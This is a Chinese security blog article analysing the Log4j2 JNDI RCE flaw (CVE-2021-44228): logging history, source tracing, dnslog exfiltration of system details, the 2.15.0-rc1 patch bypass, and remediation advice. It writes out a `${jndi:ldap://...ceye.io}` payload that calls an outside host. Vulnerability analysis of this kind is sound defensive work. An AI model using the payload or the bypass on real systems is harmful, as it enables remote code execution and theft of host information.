freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从零到一带你深入 log4j2 Jndi RCE CVE-2021-44228漏洞
2021-12-15 21:41:42
所属地 北京

0x01 前言

最近IT圈被爆出的log4j2漏洞闹的沸沸扬扬,log4j2作为一个优秀的java程序日志监控组件,被应用在了各种各样的衍生框架中,同时也是作为目前java全生态中的基础组件之一,这类组件一旦崩塌将造成不可估量的影响。从Apache Log4j2 漏洞影响面查询[1]的统计来看,影响多达60644个开源软件,涉及相关版本软件包更是达到了321094个。而本次漏洞的触发方式简单,利用成本极低,可以说是一场java生态的‘浩劫’。本文将从零到一带你深入了解log4j2漏洞。知其所以然,方可深刻理解、有的放矢。

0x02 java日志体系

要了解认识log4j2,就不得讲讲java的日志体系,在最早的2001年之前,java是不存在日志库的,打印日志均通过System.outSystem.err来进行,缺点也显而易见,列举如下:

  • 大量IO操作;

  • 无法合理控制输出,并且输出内容不能保存,需要盯守;

  • 无法定制日志格式,不能细粒度显示;

在2001年,软件开发者Ceki Gulcu设计出了一套日志库也就是log4j(注意这里没有2)。后来log4j成为了Apache的项目,作者也加入了Apache组织。这里有一个小插曲,Apache组织建议过sun在标准库中引入log4j,但是sun公司可能有自己的小心思,所以就拒绝了建议并在JDK1.4中推出了自己的借鉴版本JUL(Java Util Logging)。不过功能还是不如Log4j强大。使用范围也很小。

由于出现了两个日志库,为了方便开发者进行选择使用,Apache推出了日志门面JCL(Jakarta Commons Logging)。它提供了一个日志抽象层,在运行时动态的绑定日志实现组件来工作(如log4j、java.util.logging)。导入哪个就绑定哪个,不需要再修改配置。当然如果没导入的话他自己内部有一个Simple logger的简单实现,但是功能很弱,直接忽略。架构如下图:

1639573615_61b9e86f6587da5d9157b.png!small?1639573615674

在2006年,log4j的作者Ceki Gulcu离开了Apache组织后觉得JCL不好用,于是自己开发了一版和其功能相似的Slf4j(Simple Logging Facade for Java)。Slf4j需要使用桥接包来和日志实现组件建立关系。由于Slf4j每次使用都需要配合桥接包,作者又写出了Logback日志标准库作为Slf4j接口的默认实现。其实根本原因还是在于log4j此时无法满足要求了。以下是桥接架构图:

1639573643_61b9e88b25224ca7998e3.png!small?1639573643937

到了2012年,Apache可能看不要下去要被反超了,于是就推出了新项目Log4j2并且不兼容Log4j,又是全面借鉴Slf4j+Logback。不过此次的借鉴比较成功。

Log4j2不仅仅具有Logback的所有特性,还做了分离设计,分为log4j-api和log4j-core,log4j-api是日志接口,log4j-core是日志标准库,并且Apache也为Log4j2提供了各种桥接包

到目前为止Java日志体系被划分为两大阵营,分别是Apache阵营和Cekij阵营。

1639573695_61b9e8bf84326a0827d93.png!small?1639573696524

0x03 Log4j2源码浅析

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

从上面的解释中我们可以看到Log4j2的功能十分强大,这里会简单分析其与漏洞相关联部分的源码实现,来更熟悉Log4j2的漏洞产生原因。

我们使用maven来引入相关组件的2.14.0版本,在工程的pom.xml下添加如下配置,他会导入两个jar包

1639573796_61b9e924930f2e8670a51.png!small?1639573796922

1639573831_61b9e947a56e87bf22f2c.png!small?1639573831943

log4j2中包含两个关键组件LogManagerLoggerContextLogManager是Log4J2启动的入口,可以初始化对应的LoggerContextLoggerContext会对配置文件进行解析等其它操作。

在不使用slf4j的情况下常见的Log4J用法是从LogManager中获取Logger接口的一个实例,并调用该接口上的方法。运行下列代码查看打印结果

1639573881_61b9e979c0c2661ff4d1f.png!small?1639573882297

属性占位符之Interpolator插值器

log4j2中环境变量键值对被封装为了StrLookup对象。这些变量的值可以通过属性占位符来引用,格式为:${prefix:key}。在Interpolator插值器内部以Map<String,StrLookup>的方式则封装了多个StrLookup对象,如下图显示:

1639573905_61b9e9916f34aafa68453.png!small?1639573905788

详细信息可以查看官方文档[2]。这些实现类存在于org.apache.logging.log4j.core.lookup包下。

当参数占位符${prefix:key}带有prefix前缀时,Interpolator会从指定prefix对应的StrLookup实例中进行key查询。当参数占位符${key}没有prefix时,Interpolator则会从默认查找器中进行查询。如使用${jndi:key}时,将会调用JndiLookuplookup方法使用jndi(javax.naming)获取value。如下图演示。

1639573924_61b9e9a4508272d5de672.png!small?1639573924764

模式布局

log4j2支持通过配置Layout打印格式化的指定形式日志,可以在Appenders的后面附加Layouts来完成这个功能。常用之一有PatternLayout,也就是我们在配置文件中PatternLayout字段所指定的属性pattern的值%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n%msg表示所输出的消息,其它格式化字符所表示的意义可以查看官方文档[3]

1639573951_61b9e9bfd2a41a5f0559c.png!small?1639573952098

PatternLayout模式布局会通过PatternProcessor模式解析器,对模式字符串进行解析,得到一个List<PatternConverter>转换器列表和List<FormattingInfo>格式信息列表。在配置文件PatternLayout标签的pattern属性中我们可以看到类似%d的写法,d代表一个转换器名称,log4j2会通过PluginManager收集所有类别为Converter的插件,同时分析插件类上的@ConverterKeys注解,获取转换器名称,并建立名称到插件实例的映射关系,当PatternParser识别到转换器名称的时候,会查找映射。相关转换器名称注解和加载的插件实例如下图所示:

1639573971_61b9e9d311c54b25377cb.png!small?1639573971355

1639573978_61b9e9dac7c4425f31516.png!small?1639573979219

本次漏洞关键在于转换器名称msg对应的插件实例为MessagePatternConverter对于日志中的消息内容处理存在问题,这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

日志级别

log4j2支持种日志级别,通过日志级别我们可以将日志信息进行分类,在合适的地方输出对应的日志。哪些信息需要输出,哪些信息不需要输出,只需在一个日志输出控制文件中稍加修改即可。级别由高到低共分为6个:fatal(致命的), error, warn, info, debug, trace(堆栈)。log4j2还定义了一个内置的标准级别intLevel,由数值表示,级别越高数值越小。

1639574030_61b9ea0e25b985439af7d.png!small?1639574030446

当日志级别(调用)大于等于系统设置的intLevel的时候,log4j2才会启用日志打印。在存在配置文件的时候 ,会读取配置文件中<root level="error">值设置intLevel。当然我们也可以通过Configurator.setLevel("当前类名", Level.INFO);来手动设置。如果没有配置文件也没有指定则会默认使用Error级别,也就是200,如下图中的处理:

1639574046_61b9ea1e7bae31a3bd869.png!small?1639574046775

0x04 漏洞原理

首先先来看一下网络上流传最多的payload

1639574078_61b9ea3e7c6f71ebdc5aa.png!small?1639574078754

而触发漏洞的方法,大家都是以Logger.error()方法来进行演示,那这里我们也采用同样的方式来讲解,具体漏洞环境代码如下所示

1639574114_61b9ea6208068a5e9acd1.png!small?1639574114287

直击漏洞本源,将断点断在org/apache/logging/log4j/core/appender/AbstractOutputStreamAppender.java中的directEncodeEvent方法上,该方法的第一行代码将返回当前使用的布局,并调用对应布局处理器的encode方法。log4j2默认缺省布局使用的是PatternLayout,如下图所示:

1639574135_61b9ea77889de10ce27ba.png!small?1639574135965

继续跟进在encode中会调用toText方法,根据注释该方法的作用为创建指定日志事件的文本表示形式,并将其写入指定的StringBuilder中。

1639574187_61b9eaabdc8607e64aad0.png!small?1639574188255

1639574195_61b9eab3d35165f09ebfd.png!small?1639574196114

接下来会调用serializer.toSerializable,并在这个方法中调用不同的Converter来处理传入的数据,如下图所示,

1639574214_61b9eac676652717c17ac.png!small?1639574214904

这里整理了一下调用的Converter

1639574243_61b9eae3aad8975033023.png!small?1639574244006

这么多Converter都将一个个通过上图中的for循环对日志事件进行处理,当调用到MessagePatternConverter时,我们跟入MessagePatternConverter.format()方法中一探究竟

1639574264_61b9eaf88af1c7f946f53.png!small?1639574265185

在MessagePatternConverter.format()方法中对日志消息进行格式化,其中很明显的看到有针对字符"$"和"{"的判断,而且是连着判断,等同于判断是否存在"${",这三行代码中关键点在于最后一行

1639574280_61b9eb08c05aef5ba2388.png!small?1639574281223

这里我圈了几个重点,有助于理解Log4j2 为什么会用JndiLookup,它究竟想要做什么。此时的workingBuilder是一个StringBuilder对象,该对象存放的字符串如下所示

1639574312_61b9eb28d521e98cff9d2.png!small?1639574313147

本来这段字符串的长度是82,但是却给它改成了53,为什么呢?因为第五十三的位置就是$符号,也就是说${jndi:ldap://2lnhn2.ceye.io}这段不要了,从第53位开始append。而append的内容是什么呢?可以看到传入的参数是config.getStrSubstitutor().replace(event, value)的执行结果,其中的value就是${jndi:ldap://2lnhn2.ceye.io}这段字符串。replace的作用简单来说就是想要进行一个替换,我们继续跟进

1639574329_61b9eb3973e583e5e0597.png!small?1639574329784

经过一段的嵌套调用,来到Interpolator.lookup,这里会通过var.indexOf(PREFIX_SEPARATOR)判断":"之前的字符,我们这里用的是jndi然后,就会获取针对jndi的Strlookup对象并调用Strlookup的lookup方法,如下图所示

1639574344_61b9eb484caf14d1cfaa5.png!small?1639574344677

那么总共有多少Strlookup的子类对象可供选择呢,可供调用的Strlookup都存放在当前Interpolator类的strLookupMap属性中,如下所示

1639574378_61b9eb6a6a2bef1cfeb7f.png!small?1639574378765

然后程序的继续执行就会来到JndiLookup的lookup方法中,并调用jndiManager.lookup方法,如下图所示

1639574392_61b9eb78aaa1c2f9e2054.png!small?1639574393120

说到这里,我们已经详细了解了logger.error()造成RCE的原理,那么问题就来了,logger有很多方法,除了error以外还别方法可以触发漏洞么?这里就要提到Log4j2的日志优先级问题,每个优先级对应一个数值intLevel记录在StandardLevel这个枚举类型中,数值越小优先级越高。如下图所示:

1639574407_61b9eb878c90adc95ea76.png!small?1639574407976

当我们执行Logger.error的时候,会调用Logger.logIfEnabled方法进行一个判断,而判断的依据就是这个日志优先级的数值大小

1639574442_61b9ebaad52780a877049.png!small?1639574443255

跟进isEnabled方法发现,只有当前日志优先级数值小于Log4j2的200的时候,程序才会继续往下走,如下所示

1639574477_61b9ebcd17b2705f2cd48.png!small?1639574477590

而这里日志优先级数值小于等于200的就只有"error"、"fatal",这两个,所以logger.fatal()方法也可触发漏洞。但是"warn"、"info"等大于200的就触发不了了。

但是这里也说了是默认情况下,日志优先级是以error为准,Log4j2的缺省配置文件如下所示。

1639574506_61b9ebeac3eef28f4a85e.png!small?1639574507067

所以只需要做一点简单的修改,将<Root level="error">中的error改成一个优先级比较低的,例如"info"这样,只要日志优先级高于或者等于info的就可以触发漏洞,修改过后如下所示

1639574531_61b9ec03f0aff657c273d.png!small?1639574532238

关于Jndi部分的远程类加载利用可以参考实验室往常的文章:Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解[4]、JAVA JNDI注入知识详解[5]

0x05 敏感数据带外

当目标服务器本身受到防护设备流量监控等原因,无法反弹shell的时候,Log4j2还可以通过修改payload,来外带一些敏感信息到dnslog服务器上,这里简单举一个例子,根据Apache Log4j2官方提供的信息,获取环境变量信息除了jndi之外还有很多的选择可供使用,具体可查看前文给出的链接。根据文档中所述,我们可以用下面的方式来记录当前登录的用户名,如下所示

1639574580_61b9ec34b6f5b2202cd54.png!small?1639574581061

获取java运行时版本,jvm版本,和操作系统版本,如下所示

1639574614_61b9ec5637981182bb5e1.png!small?1639574614483

类似的操作还有很多,感兴趣的同学可以去阅读下官方文档。

那么问题来了,如何将这些信息外带出去,这个时候就还要利用我们的dnsLog了,就像在sql注入中通过dnslog外带信息一样,payload改成以下形式

1639574648_61b9ec7858371891d7fa0.png!small?1639574648612

从表上看这个payload执行原理也不难,肯定是log4j2 递归解析了呗,为了严谨一下,就再废话一下log4j2解析这个payload的执行流程

首先还是来到MessagePatternConverter.format方法,然后是调用StrSubstitutor.replace方法进行字符串处理,如下图所示

1639574666_61b9ec8ad494f53fde961.png!small?1639574667271

只不过这次迭代处理先处理了"${java:os}",如下图所示

1639574682_61b9ec9ad5516fcd77cda.png!small?1639574683122

如此一来,就来到了JavaLookup.lookup方法中,并根据传入的参数来获取指定的值

1639574696_61b9eca8bec56f6dc41c2.png!small?1639574697111

解析完成后log4j2才会去解析外层的${jndi:ldap://2lnhn2.ceye.io},最后请求的dnslog地址如下

1639574715_61b9ecbb588ff987b3671.png!small?1639574715945

如此一来,就实现了将敏感信息回显到dnslog上,利用的就是log4j2的递归解析,来dnslog上查看一下回显效果,如下所示

1639574739_61b9ecd36db4f2dad4669.png!small?1639574739676

但是这种回显的数据是有限制的,例如下面这种情况,使用如下payload

1639574775_61b9ecf791a9a81ab8bd1.png!small?1639574775844

执行完成后请求的地址如下

1639574790_61b9ed062608a23b87c49.png!small?1639574790628

最后会报如下错误,并且无法回显

1639574805_61b9ed15199840055b1bf.png!small?1639574805620

0x06 2.15.0 rc1绕过详解

在Apache log4j2漏洞大肆传播的当天,log4j2官方发布的rc1补丁就传出的被绕过的消息,于是第一时间也跟着研究是怎么绕过的,分析完后发现,这个“绕过”属实是一言难尽,下面就针对这个绕过来解释一下为何一言难尽。

首先最重要的一点,就是需要修改配置,默认配置下是不能触发JNDI远程加载的,单就这个条件来说我觉得就很勉强了,但是确实更改了配置后就可以触发漏洞,所以这究竟算不算绕过,还要看各位同学自己的看法了。

首先在这次补丁中MessagePatternConverter类进行了大改,可以看下修改前后MessagePatternConverter这个类的结构对比

修改前

1639574841_61b9ed391172fbc2f1150.png!small?1639574841745

修改后

1639574856_61b9ed483d248b9cebb42.png!small?1639574856901

可以很清楚的看到 增加了三个静态内部类,每个内部类都继承自MessagePatternConverter,且都实现了自己的format方法。之前执行链上的MessagePatternConverter.format()方法则变成了下面这样

1639574871_61b9ed574f51506bf9ed1.png!small?1639574871540

在rc1这个版本中Log4j2在初始化的时候创建的Converter也变了,

1639574886_61b9ed66226c34f280b96.png!small?1639574886469

整理一下,可以看的更清晰一些

1639574914_61b9ed82776c32be48e76.png!small?1639574914712

之前的MessagePatternConverter,变成了现在的MessagePatternConverter$SimpleMessagePatternConverter,那么这个SimpleMessagePatternConverter的方法究竟是怎么实现的,如下所示

1639574931_61b9ed93496dd96788ec1.png!small?1639574931715

可以看到并没有对传入的数据进行“${”符号的判断,和特殊处理了,那么之前造成漏洞的点就没有了么?当然不是,这对“${}”这种形式传入数据的处理,开发者将其转移到了LookupMessagePatternConverter.format()方法中,如下所示

1639574952_61b9eda81035bf97942ad.png!small?1639574952405

那么问题来了,如何才能让log4j2在初始化的时候就实例化LookupMessagePatternConverter从而能让程序在后续的执行过程中调用它的format方法呢?

其实很简单,但这也是我说这个绕过“一言难尽”的一个点,就是要修改配置文件,修改成如下所示在“%msg”的后面添加一个“{lookups}”,我相信一般情况下应该没有那个开发者会这么改配置文件玩,除非他真的需要log4j2提供的jndi lookup功能,修改后的配置文件如下所示

1639574974_61b9edbee28c6b0b70201.png!small?1639574975186

这样一来就可以触发LookupMessagePatternConverter.format()方法了,但是单单只改配置,还是不行,因为JndiManager.lookup方法也进行了修改,增加了白名单校验,这就意味着我们还要修改payload来绕过这么一个校验,校验点代码如下所示

1639574990_61b9edced808484f8008c.png!small?1639574991163

当判断以ldap开头的时候,就回去判断请求的host,也就是请求的地址,白名单内容如下所示

1639575004_61b9eddc8bd3bf7cd922b.png!small?1639575004915

可以看到白名单里要么是本机地址,要么是内网地址,fe80开头的ipv6地址也是内网地址,看似想要绕过有些困难,因为都是内网地址,没法请求放在公网的ldap服务,不过不用着急,继续往下看。

使用marshalsec开启ldap服务后,先将payload修改成下面这样

1639575029_61b9edf50e20278f6fba4.png!small?1639575029273

如此一来就可以绕过第一道校验,过了这个host校验后,还有一个校验,在JndiManager.lookup方法中,会将请求ladp服务后 ldap返回的信息以map的形式存储,如下所示

1639575047_61b9ee076c81a2f0cd0dc.png!small?1639575047802

这里要求javaFactory为空,否则就会返回"Referenceable class is not allowed for xxxxxx"的错误,想要绕过这一点其实也很简单,在JndiManager.lookup方法中有一个非常非常离谱的错误,就是在捕获异常后没有进行返回,甚至没有进行任何操作,我看不懂,但我大为震撼。这样导致了程序还会继续向下执行,从而走到最后的this.context.lookup()这一步 ,如下所示

1639575089_61b9ee31e87ce27694ecd.png!small?1639575090294

也就是说只要让lookup方法在执行的时候抛个异常就可以了,将payload修改成以下的形式

1639575121_61b9ee517e34e6a748c1f.png!small?1639575121758

在url中“/”后加上一个空格,就会导致lookup方法中一开始实例化URI对象的时候报错,这样不仅可以绕过第二道校验,连第一个针对host的校验也可以绕过,从而再次造成RCE。在rc2中,catch错误之后,return null,也就走不到lookup方法里了。

0x07 修复&临时建议

官方最新的修复https://github.com/apache/logging-log4j2/commit/44569090f1cf1e92c711fb96dfd18cd7dccc72ea中,在初始化插值器时新增了检查jndi协议是否启用的选项,并且默认禁用了jndi协议的使用。

1639575150_61b9ee6e3c82738efc84c.png!small?1639575150586

修复建议:

  1. 升级Apache Log4j2所有相关应用到最新版。

  2. 升级JDK版本,建议JDK使用11.0.1、8u191、7u201、6u211及以上的高版本。但仍有绕过Java本身对Jndi远程加载类安全限制的风险。

临时建议:

  1. jvm中添加参数 -Dlog4j2.formatMsgNoLookups=true (版本>=2.10.0)

  2. 新建log4j2.component.properties文件,其中加上配置log4j2.formatMsgNoLookups=true (版本>=2.10.0)

  3. 设置系统环境变量:LOG4J_FORMAT_MSG_NO_LOOKUPS=true (版本>=2.10.0)

  4. 对于log4j2 < 2.10以下的版本,可以通过移除JndiLookup类的方式。

0x08 时间线

  • 2021年11月24日: 阿里云安全团队向Apache 官方提交ApacheLog4j2远程代码执行漏洞(CVE-2021-44228)

  • 2021年12月8日: Apache Log4j2官方发布安全更新log4j2-2.15.0-rc1,

  • 2021年12月9日: 实验室监测到poc被大量传播并被利用攻击

  • 2021年12月10日: 天融信阿尔法实验室于10日凌晨发布Apache Log4j2 远程代码执行漏洞预警,并于当日发布Apache Log4j2 漏洞处置方案

  • 2021年12月10日: 同一天内,网络传出log4j2-2.15.0-rc1安全更新被绕过,天融信阿尔法实验室第一时间进行验证,发现绕过存在,并于处置方案内的升级方案修改为log4j2-2.15.0-rc2

  • 2021年12月15日:天融信阿尔法实验室对该漏洞进行了深入分析并更新修复建议。

0x09 总结

log4j2这次漏洞的影响是核弹级的,堪称web漏洞届的永恒之蓝,因为作为一个日志系统,有太多的开发者使用,也有太多的开源项目将其作为默认日志系统,所以可以见到,在未来的几年内,Apache log4j2 很可能会接替Shiro的位置,作为护网的主要突破点。该漏洞的原理并不复杂,甚至如果认真读了官方文档可能就可以发现这个漏洞,因为这次的漏洞究其原理就是log4j2所提供的正常功能,但是不管是log4j2的开发者也好,还是使用log4j2进行开发的开发者也好,他们都犯了一个致命的错误,就是相信了用户的输入。永远不要相信用户的输入,想必这是每一个开发人员都听过的一句话,可惜,真正能做到的人太少了。对于开源软件的生态安全,也需要相关企业和组织加以关注和共同建设,安全之路任重而道远。

1639575342_61b9ef2ec95f190566773.jpg!small?1639575343355

参考链接

[1]  Apache Log4j2 漏洞影响面查询: https://log4j2.huoxian.cn/layout
[2]  log4j2 lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html
[3]  log4j2 layouts: https://logging.apache.org/log4j/2.x/manual/layouts.html
[4]  Java反序列化过程中 RMI JRMP 以及JNDI多种利用方式详解: http://blog.topsec.com.cn/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e8%bf%87%e7%a8%8b%e4%b8%ad-rmi-jrmp-%e4%bb%a5%e5%8f%8ajndi%e5%a4%9a%e7%a7%8d%e5%88%a9%e7%94%a8%e6%96%b9%e5%bc%8f%e8%af%a6%e8%a7%a3/
[5]  JAVA JNDI注入知识详解: http://blog.topsec.com.cn/java-jndi%e6%b3%a8%e5%85%a5%e7%9f%a5%e8%af%86%e8%af%a6%e8%a7%a3/[6]  Log4j 0day之rc1与rc2 有趣的绕过: https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg[7]  Log4j2 研究之lookup: https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg[8]  log4j2 JNDI 注入漏洞分析: https://www.cnpanda.net/sec/1114.html[9]  log4j2源码分析: https://www.jianshu.com/p/0c882ced0bf5[10]  代码审计-log4j2_rce分析: https://mp.weixin.qq.com/s/ZHcrraF2Agk8EEe-3_O18Q[11]  Apache Log4j2 Jndi RCE高危漏洞分析与防御: https://mp.weixin.qq.com/s/19oIId_Ax2nxJ00k6vFhDg[12]  Java日志的心路历程: https://blog.csdn.net/a1405/article/details/116561152

1639575488_61b9efc03446e474dfe1f.png!small?1639575489280


本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录